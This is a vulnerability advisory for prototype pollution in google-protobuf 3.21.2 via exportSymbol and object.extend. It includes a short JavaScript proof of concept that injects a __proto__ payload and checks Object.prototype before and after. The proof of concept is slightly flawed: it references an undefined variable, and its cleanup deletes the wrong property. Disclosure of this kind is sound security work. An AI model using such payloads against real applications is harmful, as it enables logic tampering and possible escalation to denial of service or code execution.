Vulnerability type: Prototype Pollution
Vendor of the Package: protocolbuffers
Affected Package:
- Product: google-protobuf
- Version: 3.21.2
Affected component(s):
exportSymbol, object.extend
Attack vector(s):
the attacker can modify built-in Object.prototype by calling the vulnerable function: exportSymbol, object.extend
with an argument containing a special property __proto__
to pollute the application logic that can be escalated to Denial of service, remote code execution or cross-site scripting attacks.
Description:
Affected versions of this package are vulnerable to Prototype Pollution through the vulnerable function: exportSymbol, object.extend
. An attacker can alter the behavior of all objects inheriting from the affected prototype by passing arguments to the vulenrable function crafted with the built-in property: __proto__
. The attack can potentially escalated to Denial of service, remote code execution or cross-site scripting attacks depends on the gadgets that may affected by the attack
Proof-of-Concept:
(async () => {
const lib = await import('google-protobuf');
var victim = {}
console.log("Before Attack: ", JSON.stringify(victim.__proto__));
try {
lib.exportSymbol ("__proto__.test", 123)
lib.object.extend (emptyObj, JSON.parse('{"__proto__":{"test":123}}'))
} catch (e) { }
console.log("After Attack: ", JSON.stringify(victim.__proto__));
delete Object.prototype.polluted;
})();